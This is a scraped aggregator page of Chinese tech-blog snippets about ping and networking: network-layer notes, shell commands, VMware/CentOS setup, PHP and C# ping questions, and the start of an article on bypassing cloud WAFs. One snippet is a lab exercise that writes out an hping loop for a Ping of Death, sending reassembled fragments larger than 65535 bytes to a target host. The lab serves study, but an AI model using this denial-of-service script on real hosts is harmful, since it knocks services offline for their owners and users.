ping

计算机网络 第三章

跟風遠走 提交于 2020-01-21 20:04:36
第四章 网络层 1.网络层提供的服务 负责在不同网络之间尽力转发数据包。 基于数据包的IP地址转发。 不负责丢失重传。 不负责发送顺序。 1.数据包在互联网(internet)网络层中的传送 数据包在网络层中传送考虑的问题: 源地址到目的地址的路径是否最优。 2.互联网络与虚拟互联网络 2.验证网络层功能 工具:Cisco Packet Tracer 子网掩码的作用:限定网络部分 10.0.0.0 255.0.0.0–该局域网内的计算机的IP地址必须是10.x.x.x。网络部分为10 10.0.0.0 255.255.0.0–该局域网内的计算机的IP地址必须是10.0.x.x。网络部分为10.0 相关命令: 查看路由表: 在路由表中添加IP 3.网络设备与OSI参考模型的关系 计算机通信的过程 1.ARP协议:用于解析目的主机MAC地址。即假设在同一网段下(局域网),源主机发送广播包询问目的主机的MAC地址,但源主机发送的广播包会先到交换机,交换机会向局域网内所有的计算机转发此广播包,目的主机收到广播包后,会将自己的MAC地址回馈给源主机。 2.传输数据前的准备工作: 发送端: 应用层:应用程序准备要传输的文件。 传输层:将文件分段,并编号。 网络层:给每个分段文件添加源IP地址和目的IP地址。 数据链路层: 使用自己的子网掩码,判断自己在哪个网段。 使用自己的子网掩码

Shell学习——常用命令

血红的双手。 提交于 2020-01-20 10:12:28
vi filename.sh直接进入Vim,按i进入输入模式,按:wq保存文件退出 if 条件判断需要使用((condition))或者[[condition]]用于运算(比较大小和计算),如果判断文件或者目录是否存在使用[condition] echo ` date +%Y%m%d ` #打印当前日期,注意是反引号``,不是单引号 https://www.bilibili.com/video/av68985223?p=7 linux中以.开头的文件是隐藏文件 参数是指命令操作的对象 文件处理命令 linux中所有都是文件,包括命令也是文件;block是linux中最小数据存储单元,512字节,可以更改 复制目录必须使用-R选项,ctrl+c可以终止命令 mv在linux中就是剪切的功能,但是多了改名的作用,类似于移动并改名,原文件不存在了 -f用于强制删除,不会提示确认;rmdir用于删除空目录 不加数字,默认显示10行 不添加选项-s表示建立硬链接,类型是二进制文件,与源文件完全一样,类似于copy+同步更新;-s表示建立软连接,软连接相当于快捷方式,类型是-l;删除源文件以后,软连接无法访问,硬链接依然存在可以访问 每个文件必须拥有一个inode,但是一个inode可以映射多个文件 权限管理命令 删除文件必须文件所在目录的写权限,而文件的写权限只是修改文件内容的权限

模拟实现死亡之Ping(Ping of death)

一个人想着一个人 提交于 2020-01-19 01:06:24
需求描述 使用hping构造IP分片, 模拟 实现 死亡 之Ping 环境搭建 使用VMWare和Dynamips。 实现 思路 构造重装后大于65535字节的IP分片 hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1 for ((i=1;i<50;i++)) do j=`expr $i \* 1408` hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1 done hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1 实验实施 1. 在PC2上安装Hping源码包 [root@localhost ~]# tar zxf hping2.0.0-rc3.tar.gz [root@localhost ~]# ls anaconda-ks.cfg Desktop hping2.0.0-rc3.tar.gz hping2-rc3 install.log install.log.syslog [root@localhost ~]# mv hping2-rc3/ hping [root@localhost ~]# cd hping [root@localhost hping]# ./configure [root@localhost hping]# make &&

wmv12下安装centos7

☆樱花仙子☆ 提交于 2020-01-18 23:43:24
第一步:安装软件: vmw版本是12,并在vmw下安装centos为CentOS-7-x86_64-DVD-1708.iso; 第二步:修改vmw虚拟网络配置 1)配置VMnet8 修改ip等信息 点击“NAT Settings...”按钮,进入下边窗口设置: 备注: 我本机的无线网络ip为自适应,适配到ip为192.168.0.118 2)修改当前虚拟的网络适配方式: 这里选中NAT: 第三步骤:设置物理主机的虚拟网络参数 打开物理主机的网络连接,找到“VMware Network Adapter VMnet8”,右击设置属性: 第四步:CentOS网络配置 1)配置/etc/sysconfig/network-scripts/ifcfg-ens33 [root@localhost etc]# cd /etc/sysconfig/network-scripts/ [root@localhost network-scripts]# ls ifcfg-ens33 ifdown-eth ifdown-post ifdown-Team ifup-aliases ifup-ipv6 ifup-post ifup-Team init.ipv6-global ifcfg-lo ifdown-ippp ifdown-ppp ifdown-TeamPort ifup-bnep ifup-isdn

PHP: Why isn't exec() returning output?

*爱你&永不变心* 提交于 2020-01-18 21:32:07
问题 I'm writing a PHP script to be used to check for network connections with Linux shell command ping calling it with PHP's exec() : <?php // Bad IP domain for testing. $domain_bad = "lksjdflksjdf.com"; $ip_address = $domain_bad; exec("ping -c 1 $domain_bad", $output, $return_var); var_dump($return_var); echo "return_var is: $return_var" . "\n"; var_dump($output); exit; ?> I'm not getting the output for the error message from ping in $output which is what I'm expecting: $ php try.php ping:

Retrieving ping host name from SendPingAsync result

偶尔善良 提交于 2020-01-17 08:04:25
问题 I'm pinging hosts from list of strings (addresses). Everything works perfectly but when host is unreachable ping returns Result.Address : "0.0.0.0" instead of existing address or hostname which I passed into SendPingAsync function. Here is my code: var pingTasks = addresses.Select(address => { return new Ping().SendPingAsync(address); }); await Task.WhenAll(pingTasks); StringBuilder pingResultBuilder = new StringBuilder(); foreach (var pingReply in pingTasks) { pingResultBuilder.Append

Retrieving ping host name from SendPingAsync result

拟墨画扇 提交于 2020-01-17 08:04:09
问题 I'm pinging hosts from list of strings (addresses). Everything works perfectly but when host is unreachable ping returns Result.Address : "0.0.0.0" instead of existing address or hostname which I passed into SendPingAsync function. Here is my code: var pingTasks = addresses.Select(address => { return new Ping().SendPingAsync(address); }); await Task.WhenAll(pingTasks); StringBuilder pingResultBuilder = new StringBuilder(); foreach (var pingReply in pingTasks) { pingResultBuilder.Append

云防护当道,如何绕过云防护来进行渗透测试

风流意气都作罢 提交于 2020-01-17 02:58:52
一、前言 本文旨在相互交流学习,建议渗透测试前得到用户许可,再进行。笔者不承担任务法律责任。 二、背景说明 Twitter上反gong黑客每三天一次发布一条攻陷内地某某单位的门户网站,或者内部应用系统的推文,加上6月1日我国开始施行《网络安全法》,其中第二十一条明确规定: 国家实行网络安全等级保护制度。网络运营者应当按照网络安全等级保护制度的要求,履行下列安全保护义务,保障网络免受干扰、破坏或者未经授权的访问,防止网络数据泄露或者被窃取、篡改: (一)制定内部安全管理制度和操作规程,确定网络安全负责人,落实网络安全保护责任; (二)采取防范计算机病毒和网络攻击、网络侵入等危害网络安全行为的技术措施; (三)采取监测、记录网络运行状态、网络安全事件的技术措施,并按照规定留存相关的网络日志不少于六个月; (四)采取数据分类、重要数据备份和加密等措施; (五)法律、行政法规规定的其他义务。 这使得越来越多的单位开始重视放在互联网上的应用系统安全。 采购传统WAF来解决是一种有效的办法,但是随着硬件设备的添加,或增加单位日常运维成本,或改变单位内部的网络结构,耗时耗力不少,费用也挺高。 不少厂家为解决上述痛点,开始采用SaaS(Sofeware as a Service)模式的云防护的办法,0部署,0维护,毕竟云计算也是当下的一个热点(大云物移嘛)。 三、云防护的原理

由ping所引发的思考~

半世苍凉 提交于 2020-01-16 16:36:57
今天看了掘金一片关于ping原理的文章,https://juejin.im/entry/5af8d5e651882565bd25581c?utm_source=gold_browser_extension 引发了如下问题:ping www.baidu.com和ping baidu.com DNS所解析出来的ip不一致? 得到了如下2种答案: 负载均衡 指向了不同的服务器 关键字: 负载均衡(通过负载均衡来分发请求到不同服务器) 参考资料:https://www.zhihu.com/question/22610352 关键字:域名和服务器的关系 1对多,主机才是1对1,域名可以设置多个主机记录 多个域名可以只想同一个ip,服务器是通过http请求头里的host字段进行区分的 域名:(baidu.com、www.baidu.com),域名就1个,是主机记录指向的服务器不一样 反向代理:访问的是一台服务器,其实它只是转发了我的请求到别的服务器,他背后可能有一堆服务器 最终结果:   如上图,访问baidu.com他重定向到www.baidu.com了。   他们归属同一个域名,只是主域名(baidu.com)和子域名(www.baidu.com)指向了不同服务器。一般生产上不会做dns负载均衡 待续!感觉还没有很完善,很多地方不大理解,做个记录,以便以后补充,嘻嘻~ 来源: https: